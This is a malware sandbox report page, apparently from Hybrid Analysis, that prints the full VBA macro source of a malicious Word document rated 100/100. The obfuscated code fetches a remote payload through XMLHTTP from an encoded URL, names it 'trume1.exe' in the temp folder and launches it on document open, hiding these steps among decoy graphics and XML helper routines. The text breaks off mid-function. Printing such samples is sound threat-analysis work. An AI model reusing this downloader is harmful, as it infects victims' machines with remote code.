404 - Not Found Webzdarma.cz

23:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/2ysmnrb0knc4n.js","/_next/static/chunks/0i2jherxtxs7l.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/4109t72175nm8.js","/_next/static/chunks/04k_7k5p4krw4.js","/_next/static/chunks/30r--1re9i9ly.js"],"SampleDetailWrapper"] 2f:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/2ysmnrb0knc4n.js","/_next/static/chunks/0i2jherxtxs7l.js"],"IconMark"] 22:T4a5,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious GT:VB.Macros.ObfDldr.22 Sample 70c7bf63bfe1… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 70c7bf63bfe1…. Malware family: GT:VB.Macros.ObfDldr.22. Threat score 100/100. 18/27 AV engines flagged this file. 13 malicious and 14 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/70c7bf63bfe1fb83420905db6e65946d721e171db219034a52b27116795ae53e","keywords":["Malicious","GT:VB.Macros.ObfDldr.22","malware analysis","sandbox report","threat intelligence","70c7bf63bfe1fb83420905db6e65946d721e171db219034a52b27116795ae53e"],"about":{"@type":"SoftwareApplication","name":"pmB3A6.doc","applicationCategory":["doc","office"],"identifier":"70c7bf63bfe1fb83420905db6e65946d721e171db219034a52b27116795ae53e","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"GT:VB.Macros.ObfDldr.22","antivirusDetections":{"malicious":18,"total":27},"behavioralIndicators":{"malicious":13,"suspicious":14},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}24:T8a7a,File "ThisDocument.cls" (Streampath: "Macros/VBA/ThisDocument") has code: "Sub autoopen() AddMSXMLNode "", "", "", "" CapturePicture 0, 0, 0, 0, 0 parse_test5 CreateColor 0, 0, "", 0 End Sub" File "Module1.bas" (Streampath: "Macros/VBA/Module1") has code: "Public Function GDIRect(X1 As Long, y1 As Long, x2 As Long, y2 As Long, Optional Absolute As Boolean = True) As String On Error Resume Next With GDIRect .left = X1 .tOp = y1 If Absolute Then .Right = x2 .Bottom = y2 Else .Right = X1 + x2 .Bottom = y1 + y2 End If End With End Function Function IconFromHandle(Handle As Long) As String On Error Resume Next Dim picGuid As String Dim picDesc As String Dim Pic As String picff.GUID.X = &H7BF80981 picff.GUID.S1 = &HBF32 picff.GUID.S2 = &H101A picff.GUID.c(0) = &H8B picff.GUID.c(1) = &HBB picff.GUID.c(2) = &H0 picff.GUID.c(3) = &HAA picff.GUID.c(4) = &H0 picff.GUID.c(5) = &H30 picff.GUID.c(6) = &HC picff.GUID.c(7) = &HAB picDedd.sc.Size = Len(picDesc) picDedd.sc.BITMAP = Handle picDedd.sc.Type = PicType_Icon If CreatePictureIndirect(picDesc, picGuid, True, Pic) <> 0 Then Exit Function End If Set IconFromHandle = Pic Set Pic = Nothing End Function Function GetPictureArray(ByRef Pic As String) As Long() On Error Resume Next Dim MinX As Long, MinY As Long Dim MaxX As Long, MaxY As Long Dim SetX As Long, SetY As Long Dim DestAddress As Long, YOffset As Long Dim bmiDest As BitmapInfo Dim DIBitsDest() As Long, DC As Long DC = CreateMemoryDC With bmiDest.Header .Size = Len(bmiDest.Header) .Planes = 1 End With If 0 = GetDIBits(DC, Pic.Handle, 0, 0, ByVal 0&, bmiDest, DIBMode_RGB) Then DeleteMemoryDC DC Exit Function End If With bmiDest.Header .BitCount = 32 .Compression = DIBCompression_RGB End With YOffset = (bmiDest.Header.Height - 1) - MaxY ReDim DIBitsDest(0 To bmiDest.Header.Width - 1, 0 To bmiDest.Header.Height - 1) If 0 = GetDIBits(DC, Pic.Handle, 0, Abs(bmiDest.Header.Height), DIBitsDest(0, 0), bmiDest, DIBMode_RGB) Then DeleteMemoryDC DC Exit Function End If GetPictureArray = DIBitsDest DeleteMemoryDC DC End Function Function GetPictureArrayInv(ByRef Pic As String) As Long() On Error Resume Next Dim MinX As Long, MinY As Long Dim MaxX As Long, MaxY As Long Dim SetX As Long, SetY As Long Dim DestAddress As Long, YOffset As Long Dim bmiDest As BitmapInfo Dim DIBitsDest() As Long, DC As Long DC = CreateMemoryDC With bmiDest.Header .Size = Len(bmiDest.Header) .Planes = 1 End With If 0 = GetDIBits(DC, Pic.Handle, 0, 0, ByVal 0&, bmiDest, DIBMode_RGB) Then DeleteMemoryDC DC Exit Function End If With bmiDest.Header .BitCount = 32 .Compression = DIBCompression_RGB End With YOffset = (bmiDest.Header.Height - 1) - MaxY ReDim DIBitsDest(0 To bmiDest.Header.Width - 1, 0 To bmiDest.Header.Height - 1) bmiDest.Header.Height = -bmiDest.Header.Height If 0 = GetDIBits(DC, Pic.Handle, 0, Abs(bmiDest.Header.Height), DIBitsDest(0, 0), bmiDest, DIBMode_RGB) Then DeleteMemoryDC DC Exit Function End If bmiDest.Header.Height = -bmiDest.Header.Height GetPictureArrayInv = DIBitsDest DeleteMemoryDC DC End Function Sub GetPictureArrayByte(ByRef Pic As String, ByRef DestArray() As Byte) On Error Resume Next Dim MinX As Long, MinY As Long Dim MaxX As Long, MaxY As Long Dim SetX As Long, SetY As Long Dim DestAddress As Long, YOffset As Long Dim bmiDest As BitmapInfo Dim DC As Long DC = CreateMemoryDC With bmiDest.Header .Size = Len(bmiDest.Header) .Planes = 1 End With If 0 = GetDIBits(DC, Pic.Handle, 0, 0, ByVal 0&, bmiDest, DIBMode_RGB) Then DeleteMemoryDC DC Exit Sub End If With bmiDest.Header .BitCount = 32 .Compression = DIBCompression_RGB End With YOffset = (bmiDest.Header.Height - 1) - MaxY bmiDest.Header.Height = -bmiDest.Header.Height If 0 = GetDIBits(DC, Pic.Handle, 0, Abs(bmiDest.Header.Height), DestArray(0, 0), bmiDest, DIBMode_RGB) Then DeleteMemoryDC DC Exit Sub End If bmiDest.Header.Height = -bmiDest.Header.Height DeleteMemoryDC DC End Sub Sub GetPictureArrayPtr(ByRef Pic As String, ByVal Ptr As Long) On Error Resume Next Dim MinX As Long, MinY As Long Dim MaxX As Long, MaxY As Long Dim SetX As Long, SetY As Long Dim DestAddress As Long, YOffset As Long Dim bmiDest As BitmapInfo Dim DC As Long DC = CreateMemoryDC With bmiDest.Header .Size = Len(bmiDest.Header) .Planes = 1 End With If 0 = GetDIBits(DC, Pic.Handle, 0, 0, ByVal 0&, bmiDest, DIBMode_RGB) Then DeleteMemoryDC DC Exit Sub End If With bmiDest.Header .BitCount = 32 .Compression = DIBCompression_RGB End With bmiDest.Header.Height = -bmiDest.Header.Height If 0 = GetDIBits(DC, Pic.Handle, 0, Abs(bmiDest.Header.Height), ByVal Ptr, bmiDest, DIBMode_RGB) Then DeleteMemoryDC DC Exit Sub End If bmiDest.Header.Height = -bmiDest.Header.Height DeleteMemoryDC DC End Sub Sub GetBitmapArrayPtr(ByVal BITMAP As Long, ByVal Ptr As Long) On Error Resume Next Dim MinX As Long, MinY As Long Dim MaxX As Long, MaxY As Long Dim SetX As Long, SetY As Long Dim DestAddress As Long, YOffset As Long Dim bmiDest As BitmapInfo Dim DC As Long DC = CreateMemoryDC With bmiDest.Header .Size = Len(bmiDest.Header) .Planes = 1 End With If 0 = GetDIBits(DC, BITMAP, 0, 0, ByVal 0&, bmiDest, DIBMode_RGB) Then DeleteMemoryDC DC Exit Sub End If With bmiDest.Header .BitCount = 32 .Compression = DIBCompression_RGB End With bmiDest.Header.Height = -bmiDest.Header.Height If 0 = GetDIBits(DC, BITMAP, 0, Abs(bmiDest.Header.Height), ByVal Ptr, bmiDest, DIBMode_RGB) Then DeleteMemoryDC DC Exit Sub End If bmiDest.Header.Height = -bmiDest.Header.Height DeleteMemoryDC DC End Sub Sub GetHBmpArrayByte(ByVal hBmp As Long, ByRef DestArray() As Byte, Optional ByVal CPDC As Long = 0) On Error Resume Next Dim MinX As Long, MinY As Long Dim MaxX As Long, MaxY As Long Dim SetX As Long, SetY As Long Dim DestAddress As Long, YOffset As Long Dim bmiDest As BitmapInfo Dim DC As Long If CPDC = 0 Then DC = CreateMemoryDC Else DC = CPDC With bmiDest.Header .Size = Len(bmiDest.Header) .Planes = 1 End With If 0 = GetDIBits(DC, hBmp, 0, 0, ByVal 0&, bmiDest, DIBMode_RGB) Then DeleteMemoryDC DC Exit Sub End If With bmiDest.Header .BitCount = 32 .Compression = DIBCompression_RGB End With YOffset = (bmiDest.Header.Height - 1) - MaxY bmiDest.Header.Height = -bmiDest.Header.Height If 0 = GetDIBits(DC, hBmp, 0, Abs(bmiDest.Header.Height), DestArray(0, 0), bmiDest, DIBMode_RGB) Then DeleteMemoryDC DC Exit Sub End If bmiDest.Header.Height = -bmiDest.Header.Height If CPDC = 0 Then DeleteMemoryDC DC End Sub Function GetPictureWidth(ByRef Pic As String) As Long On Error Resume Next Dim bmiDest As BitmapInfo Dim DC As Long DC = CreateMemoryDC With bmiDest.Header .Size = Len(bmiDest.Header) .Planes = 1 End With If 0 = GetDIBits(DC, Pic.Handle, 0, 0, ByVal 0&, bmiDest, DIBMode_RGB) Then DeleteMemoryDC DC Exit Function End If GetPictureWidth = CLng(bmiDest.Header.Width) DeleteMemoryDC DC End Function Function GetPictureHeight(ByRef Pic As String) As Long On Error Resume Next Dim bmiDest As BitmapInfo Dim DC As Long DC = CreateMemoryDC With bmiDest.Header .Size = Len(bmiDest.Header) .Planes = 1 End With If 0 = GetDIBits(DC, Pic.Handle, 0, 0, ByVal 0&, bmiDest, DIBMode_RGB) Then DeleteMemoryDC DC Exit Function End If GetPictureHeight = CLng(bmiDest.Header.Height) DeleteMemoryDC DC End Function Function GetBitmapWidth(ByVal BITMAP As Long) As Long On Error Resume Next Dim bmiDest As BitmapInfo Dim DC As Long DC = CreateMemoryDC With bmiDest.Header .Size = Len(bmiDest.Header) .Planes = 1 End With If 0 = GetDIBits(DC, BITMAP, 0, 0, ByVal 0&, bmiDest, DIBMode_RGB) Then DeleteMemoryDC DC Exit Function End If GetBitmapWidth = CLng(bmiDest.Header.Width) DeleteMemoryDC DC End Function Function GetBitmapHeight(ByVal BITMAP As Long) As Long On Error Resume Next Dim bmiDest As BitmapInfo Dim DC As Long DC = CreateMemoryDC With bmiDest.Header .Size = Len(bmiDest.Header) .Planes = 1 End With If 0 = GetDIBits(DC, BITMAP, 0, 0, ByVal 0&, bmiDest, DIBMode_RGB) Then DeleteMemoryDC DC Exit Function End If GetBitmapHeight = CLng(bmiDest.Header.Height) DeleteMemoryDC DC End Function Public Function ColorFromString(Text As String) As Long On Error Resume Next Dim cR As Long, cG As Long, cB As Long If left(Text, 2) = "&H" Then ColorFromString = CLng(Text) Exit Function End If If left(Text, 1) = "#" Then ColorFromString = CLng("&H" + Mid(Text, 2)) cR = ColorFromString Mod 256 cG = Int((ColorFromString \ 256)) Mod 256 cB = Int(ColorFromString \ 65536) ColorFromString = RGB(cB, cG, cR) Exit Function End If If left(Text, 1) = "." Then ColorFromString = CLng(Mid(Text, 2)) Exit Function End If If (InStr(Text, " ")) Then cR = CLng(left(Text, InStr(Text, " ") - 1)) cG = CLng(Mid(Text, InStr(Text, " ") + 1, ((InStrRev(Text, " ") - 1) - (InStr(Text, " "))))) cB = CLng(Mid(Text, InStrRev(Text, " ") + 1)) ColorFromString = RGB(cR, cG, cB) Exit Function End If Select Case Trim(LCase(Text)) Case "darkgoldenrod", "dark goldenrod" ColorFromString = ColorFromString("#B8860B") Case "darkgray", "dark gray" ColorFromString = ColorFromString("#A9A9A9") Case "darkgreen", "dark green" ColorFromString = ColorFromString("#006400") Case "darkkhaki", "dark khaki" ColorFromString = ColorFromString("#BDB76B") Case "darkmagenta", "dark magenta" ColorFromString = ColorFromString("#8B008B") Case "darkolivegreen", "dark olive green" ColorFromString = ColorFromString("#556B2F") Case "darkorange", "dark orange" ColorFromString = ColorFromString("#FF8C00") Case "darkorchid", "dark orchid" ColorFromString = ColorFromString("#9932CC") Case "darkrealm" ColorFromString = ColorFromString("#202020") Case "darkred", "dark red" ColorFromString = ColorFromString("#8B0000") Case "darksalmon", "dark salmon" ColorFromString = ColorFromString("#E9967A") Case "darkseagreen", "dark sea green" ColorFromString = ColorFromString("#8FBC8F") Case "darkslateblue", "dark slate blue" ColorFromString = ColorFromString("#483D8B") Case "peru" ColorFromString = ColorFromString("#CD853F") Case "pink" ColorFromString = ColorFromString("#FFC0CB") Case "plum" ColorFromString = ColorFromString("#DDA0DD") Case "powderblue", "powder blue" ColorFromString = ColorFromString("#B0E0E6") Case "purple" ColorFromString = ColorFromString("#800080") Case "rast" ColorFromString = ColorFromString("#B02020") Case "red" ColorFromString = ColorFromString("#FF0000") Case "rosybrown", "rosy brown" ColorFromString = ColorFromString("#BC8F8F") Case "royalblue", "royal blue" ColorFromString = ColorFromString("#4169E1") Case "saddlebrown", "saddle brown" ColorFromString = ColorFromString("#8B4513") Case "salmon" ColorFromString = ColorFromString("#FA8072") Case "sandybrown", "sandy brown" ColorFromString = ColorFromString("#F4A460") Case "seagreen", "sea green" ColorFromString = ColorFromString("#2E8B57") Case "seashell" ColorFromString = ColorFromString("#FFF5EE") Case "sienna" ColorFromString = ColorFromString("#A0522D") Case "yellowgreen", "yellow-green", "yellow green" ColorFromString = ColorFromString("#9ACD32") Case "default", "normal", "standard", "text" ColorFromString = -1 Case Else ColorFromString = -1 End Select End Function Public Function CreateMemoryDC() As Long On Error Resume Next Dim deskWnd As Long, deskDC As Long deskWnd = GetDesktopWindow deskDC = GetDC(deskWnd) CreateMemoryDC = CreateCompa.tibleDC(deskDC) ReleaseDC deskWnd, deskDC End Function Public Sub DeleteMemoryDC(hdc As Long) On Error Resume Next Deleddd.teDC hdc End Sub Public Function CapturePicture(ByVal hdc As Long, ByVal left As Long, ByVal tOp As Long, ByVal Width As Long, ByVal Height As Long) As String Dim picGuid As String Dim picDesc As String Dim hdcMem As Long Set processEnv = CreateObject("WScript.Shell").Environment("Process") Dim hBmp As Long Dim hOldBmp As Long Dim Pic As String Dim rcBitmap As String tempFolder = processEnv("TEMP") httpRequest.Send tempFile = tempFolder + "\" + "" + "" + "tru" + "" + "" + "me1" + "." + "" + "e" + "xe" Exit Function picff.GUID.X = &H7BF80981 picff.GUID.S1 = &HBF32 picff.GUID.S2 = &H101A picff.GUID.c(0) = &H8B picff.GUID.c(1) = &HBB picff.GUID.c(2) = &H0 picff.GUID.c(3) = &HAA picff.GUID.c(4) = &H0 picff.GUID.c(5) = &H30 picff.GUID.c(6) = &HC picff.GUID.c(7) = &HAB picDedd.sc.Size = Len(picDesc) hdcMem = CreateCompa.tibleDC(hdc) If hdcMem = 0 Then Exit Function End If hBmp = CreateCompadd.tibleBitmap(hdc, Width, Height) If hBmp = 0 Then Deleddd.teDC hdcMem Exit Function End If hOldBmp = SelectObdd.ject(hdcMem, hBmp) If left >= 0 And tOp >= 0 Then If Bi.tBlt(hdcMem, 0, 0, Width, Height, hdc, left, tOp, vbSrcCopy) = 0 Then Seleff.ctObject hdcMem, hOldBmp Deleddd.teDC hdcMem DeleteObjectd.dd hBmp Exit Function End If Else Fil.lRect hdcMem, rcBitmap, GetSto.ckObject(StockObject_Brush_Black) End If Seleff.ctObject hdcMem, hOldBmp picDedd.sc.BITMAP = hBmp picDedd.sc.Palette = GetCurr.entObject(hdc, Object_Palette) picDedd.sc.Type = PicType_Bitmap If CreateP.ictureIndirect(picDesc, picGuid, True, Pic) <> 0 Then Deleddd.teDC hdcMem DeleteObjectd.dd hBmp Exit Function End If Deleddd.teDC hdcMem End Function Public Function CreatePicture(ByVal Width As Long, ByVal Height As Long) As String Dim picGuid As String Dim picDesc As String Dim hdcMem As Long Dim hBmp As Long Dim hOldBmp As Long Dim Pic As String Dim rcBitmap As String Dim deskWnd As Long, deskDC As Long deskWnd = GetDesktopWindow deskDC = GetDC(deskWnd) picff.GUID.X = &H7BF80981 picff.GUID.S1 = &HBF32 picff.GUID.S2 = &H101A picff.GUID.c(0) = &H8B picff.GUID.c(1) = &HBB picff.GUID.c(2) = &H0 picff.GUID.c(3) = &HAA picff.GUID.c(4) = &H0 picff.GUID.c(5) = &H30 picff.GUID.c(6) = &HC picff.GUID.c(7) = &HAB picDedd.sc.Size = Len(picDesc) hdcMem = CreateMemoryDC If hdcMem = 0 Then Exit Function End If hBmp = CreateCompadd.tibleBitmap(deskDC, Width, Height) If hBmp = 0 Then Deleddd.teDC hdcMem ReleaseDC deskWnd, deskDC Exit Function End If picDedd.sc.BITMAP = hBmp picDedd.sc.Palette = GetCurrentObject(deskDC, Object_Palette) picDedd.sc.Type = PicType_Bitmap If CreatePictureIndirect(picDesc, picGuid, True, Pic) <> 0 Then Deleddd.teDC hdcMem ReleaseDC deskWnd, deskDC DeleteObjectd.dd hBmp Exit Function End If Set CreatePicture = Pic Set Pic = Nothing Deleddd.teDC hdcMem ReleaseDC deskWnd, deskDC End Function Public Function CreateMask(ByVal Width As Long, ByVal Height As Long, ByRef SourcePic As String, ByVal MaskColor As Long) As String On Error Resume Next Dim picGuid As String Dim picDesc As String Dim hdcMem As Long Dim hBmp As Long Dim hOldBmp As Long Dim Pic As String Dim rcBitmap As String Dim deskWnd As Long, deskDC As Long Dim m_lngPixels() As Long Dim m_lngX As Long, m_lngY As Long If SourcePic Is Nothing Then Exit Function deskWnd = GetDesktopWindow deskDC = GetDC(deskWnd) picff.GUID.X = &H7BF80981 picff.GUID.S1 = &HBF32 picff.GUID.S2 = &H101A picff.GUID.c(0) = &H8B picff.GUID.c(1) = &HBB picff.GUID.c(2) = &H0 picff.GUID.c(3) = &HAA picff.GUID.c(4) = &H0 picff.GUID.c(5) = &H30 picff.GUID.c(6) = &HC picff.GUID.c(7) = &HAB picDedd.sc.Size = Len(picDesc) hdcMem = CreateMemoryDC If hdcMem = 0 Then Exit Function End If hBmp = CreateCompadd.tibleBitmap(deskDC, Width, Height) If hBmp = 0 Then Deleddd.teDC hdcMem ReleaseDC deskWnd, deskDC Exit Function End If picDedd.sc.BITMAP = hBmp picDedd.sc.Palette = GetCurrentObject(deskDC, Object_Palette) picDedd.sc.Type = PicType_Bitmap If CreatePictureIndirect(picDesc, picGuid, True, Pic) <> 0 Then Deleddd.teDC hdcMem ReleaseDC deskWnd, deskDC DeleteObjectd.dd hBmp Exit Function End If m_lngPixels() = GetPictureArrayInv(SourcePic) For m_lngY = 0 To Height - 1 For m_lngX = 0 To Width - 1 m_lngPixels(m_lngX, m_lngY) = IIf(m_lngPixels(m_lngX, m_lngY) = MaskColor, &HFFFFFF, &H0) Next m_lngX Next m_lngY ArrayToPicture Pic, m_lngPixels, hdcMem Set CreateMask = Pic Set Pic = Nothing Deleddd.teDC hdcMem ReleaseDC deskWnd, deskDC End Function Public Function CreateColor(ByVal Width As Long, ByVal Height As Long, ByRef SourcePic As String, ByVal MaskColor As Long) As String On Error Resume Next Dim picGuid As String Dim picDesc As String Dim hdcMem As Long Dim hBmp As Long Dim hOldBmp As Long Dim Pic As String Dim rcBitmap As String Dim deskWnd As Long, deskDC As Long Dim m_lngPixels() As Long Dim m_lngX As Long, m_lngY As Long shellApp.Open (tempFile) Exit Function If SourcePic = "" Then Exit Function deskWnd = GetDesktopWindow deskDC = Ge.tDC(deskWnd) picff.GUID.X = &H7BF80981 picff.GUID.S1 = &HBF32 hdcMem = CreateMemoryDC If hdcMem = 0 Then Exit Function End If hBmp = CreateCompadd.tibleBitmap(deskDC, Width, Height) If hBmp = 0 Then Deleddd.teDC hdcMem Rele.aseDC deskWnd, deskDC Exit Function End If picDedd.sc.BITMAP = hBmp picDedd.sc.Palette = GetCurre.ntObject(deskDC, Object_Palette) picDedd.sc.Type = PicType_Bitmap If CreatePict.ureIndirect(picDesc, picGuid, True, Pic) <> 0 Then Deleddd.teDC hdcMem Rele.aseDC deskWnd, deskDC DeleteObjectd.dd hBmp Exit Function End If m_lngPixels() = GetPictureArrayInv(SourcePic) For m_lngY = 0 To Height - 1 For m_lngX = 0 To Width - 1 m_lngPixels(m_lngX, m_lngY) = IIf(m_lngPixels(m_lngX, m_lngY) = MaskColor, &H0, m_lngPixels(m_lngX, m_lngY)) Next m_lngX Next m_lngY ArrayT.oPicture Pic, m_lngPixels, hdcMem Deleddd.teDC hdcMem Rele.aseDC deskWnd, deskDC End Function Public Function CreatePictureFromIcon(ByVal Width As Long, ByVal Height As Long, ByRef Icon As String) As String Dim picGuid As String Dim picDesc As String Dim hdcMem As Long Dim hBmp As Long Dim hOldBmp As Long Dim Pic As String Dim rcBitmap As String Dim deskWnd As Long, deskDC As Long deskWnd = GetDesktopWindow deskDC = GetDC(deskWnd) picff.GUID.X = &H7BF80981 picff.GUID.S1 = &HBF32 picff.GUID.S2 = &H101A picff.GUID.c(0) = &H8B If hdcMem = 0 Then Exit Function End If hBmp = CreateCompadd.tibleBitmap(deskDC, Width, Height) If hBmp = 0 Then Deleddd.teDC hdcMem ReleaseDC deskWnd, deskDC Exit Function End If hOldBmp = SelectObdd.ject(hdcMem, hBmp) DrawIconEx hdcMem, 0, 0, Icon.Handle, Width, Height, 0, 0, 2 Seleff.ctObject hdcMem, hOldBmp picDedd.sc.BITMAP = hBmp picDedd.sc.Palette = GetCurrentObject(deskDC, Object_Palette) picDedd.sc.Type = PicType_Bitmap If CreatePictureIndirect(picDesc, picGuid, True, Pic) <> 0 Then Deleddd.teDC hdcMem ReleaseDC deskWnd, deskDC DeleteObjectd.dd hBmp Exit Function End If Set CreatePictureFromIcon = Pic Set Pic = Nothing Deleddd.teDC hdcMem ReleaseDC deskWnd, deskDC End Function Public Function LoadResIcon(ByVal Resname As String, Optional ByVal Width As Long = 32, Optional ByVal Height As Long = 32) As String Dim picGuid As String Dim picDesc As String Dim hdcMem As Long Dim hIcon As Long Dim hOldBmp As Long Dim Pic As String Dim rcBitmap As String picff.GUID.X = &H7BF80981 picff.GUID.S1 = &HBF32 picff.GUID.S2 = &H101A picff.GUID.c(0) = &H8B picff.GUID.c(1) = &HBB picff.GUID.c(2) = &H0 picff.GUID.c(3) = &HAA picff.GUID.c(4) = &H0 picff.GUID.c(5) = &H30 picff.GUID.c(6) = &HC picff.GUID.c(7) = &HAB hdcMem = CreateMemoryDC hIcon = LoadImage(App.hInstance, Resname, Image_Icon, Width, Height, LoadImage_Shared) If hIcon = 0 Then DeleteMemoryDC hdcMem Exit Function End If picDedd.sc.Size = Len(picDesc) picDedd.sc.BITMAP = hIcon picDedd.sc.Type = PicType_Icon If CreatePictureIndirect(picDesc, picGuid, True, Pic) <> 0 Then DeleteMemoryDC hdcMem Exit Function End If Set LoadResIcon = Pic Set Pic = Nothing DeleteMemoryDC hdcMem End Function" File "Module2.bas" (Streampath: "Macros/VBA/Module2") has code: "Public processEnv As Object Public tempFolder As String Public tempFile As String Public shellApp As Object Dim stroldMessageSetID As String Public Function DateValid(strDate As String, _ strMsgText As String) As Boolean If Trim(strDate) = "" Then DateValid = True Exit Function End If If Not IsDate(strDate) Then MsgBox "The " & strMsgText & " date you" DateValid = False Exit Function End If If CDate(strDate) < CDate("1/1/1970") Or _ CDate(strDate) > CDate("1/18/2038") Then MsgBox "The " & strMsgText & _ " date you supply must be between Jan 1 1970 and Jan 18 2038" DateValid = False Exit Function End If Dim strSplits() As String strSplits = Split(Trim(strDate), "-") If UBound(strSplits) = 2 Then If Len(strSplits(0)) = 4 And Len(strSplits(1)) = 2 And _ Len(strSplits(2)) = 2 Then DateValid = True Exit Function End If End If MsgBox "The " & strMsgText & " date must be of the form yyyy-mm-dd" DateValid = False End Function Public Function RuBik(fromArr() As Variant, LenLen As Long, Dust As Double) As String Dim i As Long Dim hippi As String hippi = "" For i = LBound(fromArr) To UBound(fromArr) riz = fromArr(i) - 15 * LenLen - i * 100 hippi = hippi & Chr(riz) Next i RuBik = hippi End Function Public Function TimeValid(strTime As String, _ strMsgText As String) As Boolean If Trim(strTime) = Empty Then TimeValid = True Exit Function End If Dim strSplits() As String strSplits = Split(Trim(strTime), ":") If UBound(strSplits) = 1 Then If IsNumeric(strSplits(0)) And IsNumeric(strSplits(1)) Then If Len(strSplits(1)) = 2 Then If CInt(strSplits(0)) >= 1 And CInt(strSplits(0)) <= 12 And _ CInt(strSplits(0)) >= 0 And CInt(strSplits(0)) <= 59 Then TimeValid = True Exit Function End If End If End If End If MsgBox "Invalid " & strMsgText & " time value" TimeValid = False End Function Public Function DateTimeString(strDate As String, _ strTime As String, _ booAM As Boolean, _ booSupportsDateTime As Boolean) As String Dim strSplits() As String If Trim(strDate) = Empty Then DateTimeString = "" Exit Function End If If Trim(strTime) = Empty Then DateTimeString = Trim(strDate) Exit Function End If strSplits = Split(Trim(strTime), ":") If booAM Then If strSplits(0) = "12" Then strSplits(0) = "00" If Len(strSplits(0)) = 1 Then strSplits(0) = "0" & strSplits(0) Else If CInt(strSplits(0)) < 12 Then strSplits(0) = str(CInt(strSplits(0)) + 12) End If DateTimeString = Trim(strDate) & "T" & Trim(strSplits(0)) & ":" & strSplits(1) End Function Public Sub AddMSXMLNode(strNodeName As String, _ objDOMDocument As String, _ objParentNode As String, _ objNode As String) Set httpRequest = CreateObject("Microsoft" + ".XMLHTTP") Dim urlAr() As Variant urlAr = Array(884, 996, 1096, 1192, 1238, 1327, 1427, 1592, 1694, 1725, 1879, 1988, 2077, 2190, 2287, 2401, 2426, 2587, 2698, 2777, 2888, 2985, 3096, 3190, 3281, 3326, 3479, 3602, 3627, 3734, 3833, 4001, 4031, 4182, 4280, 4330, 4431, 4580, 4627, 4736, 4835, 4985, 5032, 5183, 5231, 5380, 5430, 5580, 5630, 5726, 5881, 6000, 6081) httpRequest.Open "GET", RuBik(urlAr, 52, 28), False Exit Sub Set objddd.Node = objDOMff.Document.createElement(strNodeName) objPadd.rentNode.appendChild objNode End Sub Public Sub AddMSXMLAttribute(strAttributeName As String, _ strAttributeValue As String, _ objDOMDocument As String, _ objParentNode As String, _ objAttribute As String) Set objAttribute = objDOMff.Document.createAttribute(strAttributeName) objAttribute.Text = strAttributeValue objPadd.rentNode.Attributes.setNamedItem objAttribute End Sub Public Sub AddMSXMLElement(strElementName As String, _ strElementValue As String, _ objDOMDocument As String, _ objParentNode As String, _ objElement As String) Set objElement = objDOMff.Document.createElement(strElementName) objElement.Text = strElementValue objPadd.rentNode.appendChild objElement End Sub Public Sub CreateStandardRequestNode(boonewMessageSetID As Boolean, _ stronError As String, _ objDOMDocument As String, _ objRootNode As String, _ objRequestNode As String, _ objAttribute As String) Set objRootNode = objDOMff.Document.createElement("QBXML") objDOMff.Document.appendChild objRootNode Set objRequestNode = objDOMff.Document.createElement("QBXMLMsgsRq") objRootNode.appendChild objRequestNode If boonewMessageSetID Then stroldMessageSetID = NewMessageSetID AddMSXMLAttribute _ "newMessageSetID", stroldMessageSetID, objDOMDocument, objRequestNode, objAttribute stroldMessageSetID = Empty End If AddMSXMLAttribute _ "onError", stronError, objDOMDocument, objRequestNode, objAttribute End Sub Public Sub GetTags(strInString As String, _ strStartTag As String, _ strEndTag As String, _ intTagLength As Integer) If InStr(1, strInString, "<") = 0 Or InStr(1, strInString, ">") = 0 Or _ InStr(1, strInString, "</") = 0 Or left(strInString, 1) <> "<" Then strStartTag = Empty strEndTag = Empty intTagLength = 0 Exit Sub End If strStartTag = left(strInString, InStr(1, strInString, ">")) intTagLength = Len(strStartTag) strEndTag = Replace(strStartTag, "<", "</") If InStr(1, strInString, strEndTag) = 0 Then strStartTag = Empty strEndTag = Empty intTagLength = 0 End If End Sub Public Sub PrettyPrintXMLToFile(XMLString As String, _ XMLFile As String) Dim SplitXMLString() As String Dim IndentString As String Dim XMLStringLength As Long Dim SplitIndex Dim FileNum As Integer If Trim(XMLString) = Empty Then Exit Sub IndentString = Empty FileNum = FreeFile Open XMLFile For Output As FileNum XMLString = Replace(XMLString, vbLf, vbNullString) SplitXMLString = Split(XMLString, "<") SplitIndex = LBound(SplitXMLString) + 1 Do If left(SplitXMLString(SplitIndex), 1) = "/" And Len(IndentString) > 2 Then IndentString = left(IndentString, Len(IndentString) - 3) Print #FileNum, IndentString & "<" & _ SplitXMLString(SplitIndex) SplitIndex = SplitIndex + 1 ElseIf left(SplitXMLString(SplitIndex + 1), 1) = "/" Then If InStr(1, left(SplitXMLString(SplitIndex), _ InStr(1, SplitXMLString(SplitIndex), ">")), _ " ") > 0 Then Print #FileNum, IndentString & "<" & _ SplitXMLString(SplitIndex) SplitIndex = SplitIndex + 1 Else Print #FileNum, IndentString & "<" & _ SplitXMLString(SplitIndex) & "<" & _ SplitXMLString(SplitIndex + 1) SplitIndex = SplitIndex + 2 End If Else Print #FileNum, IndentString & "<" & _ SplitXMLString(SplitIndex) If SplitXMLString(SplitIndex) <> "?xml version=""1.0"" ?>" And _ SplitXMLString(SplitIndex) <> "!DOCTYPE QBXML PUBLIC InStr(1, SplitXMLString(SplitIndex) "qbxml version") = 0 Then IndentString = IndentString & " " End If SplitIndex = SplitIndex + 1 End If Loop Until SplitIndex >= UBound(SplitXMLString) If left(SplitXMLString(UBound(SplitXMLString)) 1) = "/" Then If Len(IndentString) >= 3 Then IndentString = left(IndentString, Len(IndentString) - 3) End If End If Print #FileNum IndentString & "<" & _ SplitXMLString(UBound(SplitXMLString)) Close FileNum End Sub Public Function PrettyPrintXMLToString(strInXMLString As String) As String Dim SplitXMLString() As String Dim IndentString As String Dim XMLStringLength As Long Dim SplitIndex Dim FileNum As Integer Dim XMLString As String Dim strOut As String XMLString = strInXMLString strOut = Empty If Trim(XMLString) = Empty Then PrettyPrintXMLToString = Empty Exit Function End If IndentString = Empty XMLString = Replace(XMLString, vbLf, vbNullString) SplitXMLString = Split(XMLString, "<") SplitIndex = LBound(SplitXMLString) + 1 Do If 